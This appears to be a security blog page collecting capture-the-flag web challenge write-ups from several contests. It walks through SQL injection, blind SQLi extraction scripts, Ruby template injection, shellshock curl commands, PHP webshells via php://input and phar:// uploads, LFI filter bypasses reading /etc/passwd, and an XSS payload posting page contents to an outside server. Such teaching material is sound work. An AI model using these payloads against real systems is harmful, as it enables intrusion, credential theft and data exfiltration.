Showing posts with label sqli. Show all posts
Showing posts with label sqli. Show all posts

Tuesday, November 20, 2018

RITSEC CTF 2018 - Web

Table of Contents

Space Force (100)

The first challenge was basic SQLi:
' or 1=1#
This dumped all results including the flag:
RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}

The Tangled Web (200):

This challenge had multiple links leading to many pages. The point of the challenge seemed to teach spidering / mirroring:
$ wget -rm http://fun.ritsec.club:8007/

Looking for files containing the term flag:

$ grep -ri 'flag' .

fun.ritsec.club:8007/Waving.html
17:        <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>

fun.ritsec.club:8007/Fl4gggg1337.html
18:    <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>

Fl4gggg1337.html sounds interesting! Looking in there we find a link to Stars.html:

$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Decoding the base64, we get the flag!

$ echo UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0= | base64 -D
RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}

Crazy Train (250):

This webapp had an article list & submission:

The title of this challenge & 404 page revealed it's a rails app:

Submitting a new article resulted in an interesting hidden parameter with an empty value:

..&article[a]=&..

With no value specified the POST would result in a blank page.

If we add a value to article[a] it reflects back to the client:

..&article[a]=AAAA&..

AAAA

Knowing this is a rails app, we can try ERB SSTI (skipping url-encoding in this post for clarity):

..&article[a]="AAAA" + (7 * 7).to_s + "BBBB"&..

AAAA49BBBB

Looks like it worked! Let's try something more productive:

..&article[a]=Dir["./*"].to_s&..

["./tmp", "./db", "./log", "./Gemfile", "./lib", "./Gemfile.lock",
 "./config.ru", "./test", "./package.json", "./bin", "./public", "./README.md",
 "./app", "./config", "./Rakefile", "./storage", "./flag.txt", "./vendor"]

Now just read the flag:

..&article[a]=File.read("./flag.txt").to_s&..
RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}

What a cute dog! (350):

This web challenge had a minimal page with some linux output:

Looks like command injection. Looking in the source we can see the cgi-bin script used:

<iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>

Visiting the cgi-bin script directly we get the same stats output as the home page.

If we curl the cgi script with shellshock in the User-Agent header, we get command execution:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'id'" http://fun.ritsec.club:8008/cgi-bin/stats

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Looking for flag.txt on the server, we find it in /opt:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'find / -type f -name flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats

/opt/flag.txt

Then we just read the flag:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
RITSEC{sh3ll_sh0cked_w0wz3rs}

Lazy Dev (400):

This challenge starts from The Tangled Web. To recap, we got a note in the HTML comments:
$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Sounds like devsrule.php contains a backdoor.

If we look at that page, we see:

$ curl http://fun.ritsec.club:8007/devsrule.php

Not what you input eh?
This param is 'magic' man.

This didn't give us much to work with, but trying to play with the params in unsual ways, it reacts:

$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1

Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(

So we know it must have something to do with this magic param as mentioned in the description.

The next part took a while to figure out, but it's also mentioned in the description. The only other word which stands out is 'input'.

PHP contains a special wrapper 'input://' which can take 'stdin' from POST data. Adding this with the magic parameter, and a webshell in the POST data, we get what we would expect:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'

Not what you input eh?<br>This param is 'magic' man.<br><br>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Grabbing the users, we see joker, which may be where the flag is:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /etc/passwd"); ?>'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
joker:x:1000:1000:,,,:/home/joker:/bin/bash
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin

Looking in joker's home directory we see a flag.txt, and cat it:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /home/joker/flag.txt"); ?>'
RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}

Archivr (300):

The first bug was found very quickly. After visiting one of the pages, we get a URL like:

http://fun.ritsec.club:8004/index.php?page=upload

This looks like LFI. It seems to work with a base64 encoded dump of index.php and other pages:

$ curl http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index

PD9waHAKaW5jbHVkZSgiY2xhc3Nlcy5waHAuaW5jIik7CmluY2x1ZGUoKGlzc2V0KCRfR0VUWydwYWdlJ10pICYmIGlzX3N0cmluZygkX0dFVFsncGFnZSddKSA/ICRfR0VUWydwYWdlJ10gOiAiaG9tZSIpIC4gIi5waHAiKTsKPz4K

This decodes to:

<?php
  include("classes.php.inc");
  include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");
?>

We can see why the LFI happened, now what does upload do? The main chunk of code is:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($_FILES['upload']['size'] > 5000) { //max 5KB
        die("File too large!");
    }
    $filename = $_FILES['upload']['name'];


    $upload_time = time();
    $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

    $ext = "";
    if (strpos($filename, '.') !== false) {
        $f_ext = explode(".", $filename)[1];
        if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
            $ext = "." . $f_ext;
        } else {
            $ext = ".dat";
        }
    } else {
        $ext = ".dat";
    }

    $upload_path = $upload_dir . md5($upload_time) . $ext;
    mkdir($upload_dir, 770, true);

    //Enforce maximum of 10 files
    $dir = new DirLister($upload_dir);
    if ($dir->getCount() >= 10) {
        unlink($upload_dir . $dir->getOldestFile());
    }

    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
    $key = $upload_time . $ext;
}
?>

It uploads a user provided file under 5KB to an /uploads/md5(SERVER_IP)/ directory with the md5 value of time().

The server's internal IP can be obtained from one of the previous challenges - Lazy Dev:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<pre><?php echo system("netstat -n"); ?></pre>'

Not what you input eh?<br>This param is 'magic' man.<br><br><pre>Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.27.0.2:80           10.0.10.254:45996       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46396       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46096       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45826       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46524       SYN_RECV
tcp        0      0 172.27.0.2:80           10.0.10.254:46794       ESTABLISHED
tcp        0      0 172.27.0.2:80           10.0.10.254:46520       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46246       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45944       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46076       TIME_WAIT
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node   Path
Proto RefCnt Flags       Type       State         I-Node   Path</pre>

The target internal IP is:

10.0.10.254

Next we can upload a simple web-shell and include it using the PHP wrapper phar://.

The web-shell (shell.php):

<pre><? echo system($_GET['cmd']); ?></pre>

Zipping the web-shell for usage with phar:

$ zip -0 shell.zip shell.php

After uploading shell.zip we get the current time with a .zip extension: 1542574010.zip.

The new filename will be md5(time()) or md5('1542574010'):

$ echo -n 1542574010 | md5

61fda3e4ccb1a54721aa8b42519de46e

The upload directory will be the md5 hash of the internal IP we found:

$ echo -n 10.0.10.254 | md5

98d3cbed97b0bc491c000455c9f8e6fb

Combining this all together, using the same url as the LFI with phar:// instead of php://filter, we can list the directory:

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=ls

...
c1f3d7e3e54a30dd7c66f1840b3afe90_flag.txt
download.php
index.php
upload.php
...

Looks like we have the flag!

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=cat *flag.txt
RITSEC{uns3r1al1z3_4LL_th3_th1ng5}

Sunday, March 4, 2018

Pragyan CTF 2018 - web


This post includes the following writeups:


Unfinished business (100pts)



This challenge presents a login prompt and a nice option of making yourself admin.

It was unusual that the organizers decided to reuse account credentials for the challenges themselves. This was one of those challenges.

After logging in we see a success message:


Attempting to visit admin.php, we get redirected to the same intermediate page.

The redirect looked a little suspicious, so it seemed right to check this using curl:


After editing out extra headers, we get the flag without the redirect:

$ curl 'http://128.199.224.175:25000/admin.php' -H 'Cookie: PHPSESSID={REDACTEDREDACTEDREDACTED}'

<!DOCTYPE html>
<html>
<head>
    <title>Admin Dashboard</title>
</head>
<body>

<center>
<h4>
Redirect
<br><br>
The Admin panel is under construction. Redirecting ...
</h4>
<br><br>
Flag :- pctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}
</center>

</body>
</html>



Authenticate your way to admin (150pts)



This challenge also used the CTF creds to auth, slightly odd, but when we login we get the following page:


They also included some source files for this challenge, notably this included:

$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];
...
<?php
    require "sayings.php";
    printf(get_random_saying());
    echo "<br><br>";
    if($id === 'admin' && $id_type === 'team_name')
        printf(output_flag());
?>

In login.php we also see $_SESSION values being set without condition:

$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;

This means we could probably set the id & id_type to 'admin' and 'team_name' respectively without any verification, when attempting this we get a failure message:


This doesn't stop us from visiting homepage.php with our newly saved admin session:



El33t Articles Hub (200pts)



This challenge was a lot of fun and had a nice distraction!

First clicking on a link, we notice we're redirected to a page with some content, and the url contains:

http://128.199.224.175:22000/?file=Morning%20Rituals


This immediately invokes the idea of LFI. Playing around a little, we start to get errors filtering keywords such as php: to mitigate attacks such as php://filter.


After looking around for other potential vulnerabilities, something odd pops up:

<link rel='shortcut icon' href='favicon.php?id=3' type='image/x-icon'>

Why would a favicon be a php file, and why would it have an id? This is pure fish sauce.

Let's try to LFI it!

$ curl http://128.199.224.175:22000/favicon.php\?id\=./index.php
No files named './favicons/./index.php.png', './favicons/./index.php.ico'  or './favicons/./index.php.php' found

Perfect. Looks horrible.

Let's grab index.php source:

$ curl http://128.199.224.175:22000/favicon.php\?id\=../index

index.php snippet:

<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>
...
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
...

It looks like there are other php files to dump (favicon.php, fetch.php, helpers.php):

$ curl http://128.199.224.175:22000/favicon.php\?id\=../favicon > favicon.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../fetch > fetch.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../helpers > helpers.php

Grepping for the flag we see the match:

$ grep flag *
helpers.php:    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");


Visiting this url we get the flag:


After walking through this challenge again, it seems the flag was locked down so the technique above wouldn't work. So as an addition to this writeup, let's walk through the next steps after direct flag access has been denied.

Looking at the files again there was a filter for the first LFI:

$bad_chars = array("./", "../");
foreach ($bad_chars as $value) {
    $filename = str_replace($value, "", $filename);
}

Playing around in a local/online PHP repl helps with this, we end up with the new url:

http://128.199.224.175:22000/?file=.....///secret//flag_7258689d608c0e2e6a90c33c44409f9d

This utilizes two LFI bugs, which is a nice combo to get the flag:



Animal attack (200pts)



As the name implies on this one, we're given a database of animal spies, and it hints at the possibility of SQL Injection with the search box.

Trying a very simple injection, we get a successful result:


We can check if it's really SQL Injection and not just a rough match by checking the failing condition 1=2:



Looks like we have something! Now we just need to union select and we should be done right?

The next query was:

alix' union select * from users


They seem to have blocked the keyword 'union' from the input. We'll have to get more creative.

Without any reflected errors and the blocking of keywords, it made sense to go the blind sql injection route.

This is a good paper on blind sqli which was followed initially during the CTF - https://www.exploit-db.com/papers/13045/

First it would be nice to go through quicker iterations for searching. Using the same method above to copy the cURL value, we get a simplified version on the command line. Note the web application base64 encoded the query before sending it off, so we do the same:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64)

To identify if the query succeeded or failed we can grep for Alix:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64) | grep Alix
        <b> Name : </b> Alix <br>

In the exploit-db paper by Marezzi, it mentions existence checks for columns, we'll perform the same here:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and (select substring(concat(1,password),1,1) from users where username=\"admin\" limit 0,1)=1 #".encode("base64").replace("\n", "")') | grep Alix

With this we are able to tell there is a users table with an admin user and a password column.
Now we can enumerate which characters are in the password by using character range comparisons.

Starting with the first character, we can identify that it starts with the known flag format 'pctf{':

curl -L 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))=112 #".encode("base64").replace("\n", "")') | grep Alix

That Passes! So now to enumerate other characters.
To find other characters, we iterate through the potential character space (python's string.printable is fine for this). Once we reach the point where the current character succeeds and the next fails, we know the next is part of the password. This may become clear in the following example:

We know 'p' is the beginning of the flag, when we iterate through all possible characters we reach 'o'. The check 'p' > 'o' succeeds. Next we check if 'p' > 'p', this obviously fails, and we know that 'p' is the next match for our password.

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>111 #".encode("base64").replace("\n", "")') | grep Alix
        <b> Name : </b> Alix <br>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>112 #".encode("base64").replace("\n", "")') | grep Alix

We'll also want to make this process more efficient by introducing a binary search while traversing through the possible characters.

This was the final client for the challenge:

#!/usr/bin/env python
import requests

checkRange = range(9, 126)
BASE = "alix' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),{},1))>{} #"

def bsearch(pos):
  min = 9
  max = 126
  while True:
    if max < min: return -1
    m = (min + max) // 2

    first = request(pos, m)
    second = request(pos, m + 1)

    if first and not second:
      return m + 1
    elif first and second:
      min = m + 1
    else:
      max = m - 1

def request(pos, char):
  payload = BASE.format(pos, char).encode('base64')
  r = requests.post('http://128.199.224.175:24000/', { "spy_name": payload })
  return 'Alix' in r.text

def main():
  flag = ''
  pos = 1

  while '}' not in flag:
    flag += chr(bsearch(pos))
    print 'Flag: {}'.format(flag)
    pos += 1

  print 'Result: {}'.format(flag)

if __name__ == '__main__':
  main()


Running the client we get the flag:



Sunday, March 26, 2017

VolgaCTF 2017 Quals - Bloody Feedback (100)



Disclaimer: During this challenge, I binge watched all of Black Books. This explains the memes below.

Starting out we're presented with a feedback form to submit some data (name, email, message).

There was also an input field at the top right looking like a search box.  Immediately tried putting a tick mark there to see if an error would be reflected:



This will send us to http://bloody-feedback.quals.2017.volgactf.ru/check/?code=%27.
Immediately inferring this is a perl application looking at the file extension noted in the error: Worker.pm

After playing around with the code looking for command-injection it turns out the application would accept any 32 byte string within the character range [A-Za-z0-9].  Looks like we couldn't get too far with this.

Valid URL ex.: http://bloody-feedback.quals.2017.volgactf.ru/check/?code=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


The next area to check was the initial feedback form.  Email had to be turned on, which seemed to be a good field to play with.

This seemed to have a very simple front-end validation setup for email, where type="email" in the markup.

Any feedback submitted is displayed in the "Top Messages" section, except the email field.  This helped when testing for XSS / CSRF, SQLi, etc.  But "Top Messages" did not seem to be reflecting any errors or execution.

Next we try an invalid email, maybe a quote mark to check for SQLi:


Sooooo, looks like SQLi, right?

If we look up DBD::Pg::db, we find the reference http://search.cpan.org/dist/DBD-Pg/Pg.pm
Also from looking at it, one could infer this is a Postgres db.

Let's try a few different types of injections until we get back to a non-error state!

First to get this into a scriptable state, we'll dump the cURL command from Chrome's Developer Tools.  In the network tab, go to the submission request, right click > Copy > Copy as cURL.

After pasting this on the command-line, hitting ctrl+x+e we can open in $EDITOR (currently set to VIM for this session).  In VIM we can use :%s/-H/-H \\\r/g to clean up the lines of the request.  Now we can go ahead and delete most of the headers which won't be used in this challenge.  This ends up turning into a one-liner, but for other challenges this may be different.

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=x&message=x&email='" 

This will dump the page contents and we can grep for any errors that get reflected back:

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=',version())-- - " | grep -i error -A6

This will dump:

ERROR: DBD::Pg::db do failed: ERROR:  value too long for type character varying(30) at Worker.pm line 29.

It looks like version() returns a string that's too long, so we can cut it using substr().

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', substr(version(), 0, 30))-- - "
...
<p><h3>Check status</h3><a href='/check/?code=Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI'>Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI</a></p>
...


Now let's do something a little more interesting....

To get the table names we can query pg_catalog.pg_tables for tablename, this will return multiple rows, if we set a limit and offset, we can enumerate all values.

url 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (SELECT tablename FROM pg_catalog.pg_tables limit 1 offset 1)) -- - "



So we've got the table name, now we need to find any interesting column names, we can do that by looking at column_name in information_schema.columns:

curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select column_name from information_schema.columns limit 1 offset 6 )) -- - "




Now when we combine those two together:

curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4 )) -- - "



Monday, February 6, 2017

BITSCTF 2017 - Web [Batman vs Joker, Message the admin]


Batman vs Joker (30)



Visiting robots.txt instantly told us the type of challenge this would be:

Not Found

The requested URL /sql/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at joking.bitsctf.bits-quark.org Port 80

Looks like we're dealing with SQL injection! If we put a quote mark, we can see an error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' Limit 1' at line 1


With a little fiddling, it looks like we can simply union select two fields and grab whatever data we need.

Starting out with something simple, we try the most basic SQLi statement:

' or 1=1 #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker

So it dumps out a handful of characters from Harry Potter and the Joker. Let's see what else we can find:

' or 1=1  union select 1,@@version #
...
First name:1
Surname: 5.5.54-0+deb8u1

And we have MySQL 5.5.54 we're working with.

' or 1=1  union select user,password from mysql.user #
...
First name:root
Surname: *[redacted_for_article]
First name:debian-sys-maint
Surname: *[redacted_for_article]
First name:tester
Surname: *[redacted_for_article]

Wow, so we actually can dump the root password, that's nice! Thanks!

Then dumping the table information we can see our current CIA record table and an extra one (Joker):

' or 1=1  union select  table_schema,table_name FROM information_schema.tables #

...
Surname: INNODB_CMP_RESET
First name:information_schema
Surname: INNODB_BUFFER_PAGE_LRU
First name:hack
Surname: CIA_Official_Records     <<
First name:hack
Surname: Joker                    <<
First name:mysql
Surname: columns_priv
First name:mysql
...

Using this we can get the column name we're looking for (rather obvious in hindsight):

' or 1=1 union select table_name, column_name FROM information_schema.columns #

...
First name:CIA_Official_Records
Surname: username
First name:CIA_Official_Records
Surname: first_name
First name:CIA_Official_Records
Surname: last_name
First name:Joker
Surname: Flag                   <<<<
First name:Joker
Surname: HaHaHa
First name:columns_priv
Surname: Host
First name:columns_priv
Surname: Db
...

And now to grab the Flag!

' or 1=1 union select 1,Flag from Joker #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker
First name:1
Surname: BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}


BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}



Message the admin (60)


This one went fairly quickly because some recent challenges were very similar. So it was still in muscle memory. The challenge was to send a message to the 'admin' (a PhantomJS server watching for messages), and include some payload to send to them. Most likely a CSRF or XSS challenge.



Hitting robots.txt really quickly we get:

Not Found

The requested URL /xss/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at msgtheadmin.bitsctf.bits-quark.org Port 80

This tells us our assumption about XSS was correct, and we can proceed to include a payload that calls back to our server with some information.

Most initial payloads include document.cookie, but since the most recent challenge was to include page contents, that was the first check to try.

<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
<script>
  var x = $('body').html().toString();
  $.post('http://[some-server]/analytics', x);
</script>


Running a server and redirecting the output to an html file, we get this:




BITSCTF{hsr_1s_n0t_cr3ative}



Sunday, September 6, 2015

MMA CTF 2015 - Login as admin! (30)

On this challenge I took an approach that was probably over-engineered. Used Blind SQLi to find the password of the admin user.


You can login with 'test/test' credentials, which gives you this output:
You are test user.
logout

Let's try logging in with the admin' user.

Initially tried a simple sql injection and it worked immediately:
Username: admin' --
This output was provided, saying we needed to go further by finding the password for the user:
Congratulations!!
You are admin user.
The flag is your password!
logout

This worked without setting the password field, so this makes things easy. Didn't want to attempt dumping the password or joining with the username. So instead went the Blind SQLi route. First tried the initial effort by running:
admin' and password like '%' --
> Success!
admin' and password like 'MMA{%' --
> Success!
admin' and password like 'abcd%' --
> Expected Failure.

Now that we have that out of the way, let's write a python client!
import sys
import requests
import random
import string

url = "http://arrive.chal.mmactf.link/login.cgi"
injection = "admin' and password like '{}' --"

allChars = string.lowercase

solution = "MMA{"

def found(c):
  print "Found! :: {}".format(c)
  print solution

while len(solution) < 80:
  for c in allChars:
    print 'Attempt: {}'.format(c)
    content = requests.post(url, {
      "username": injection.format(solution + c + "%")
    }).content
    if 'invalid' not in content:
      solution += c
      found(c)
      break
    elif c == 'z':
      solution += '_'
      found(c)


After a few cycles, this prints out:
  MMA{cats_alice_band}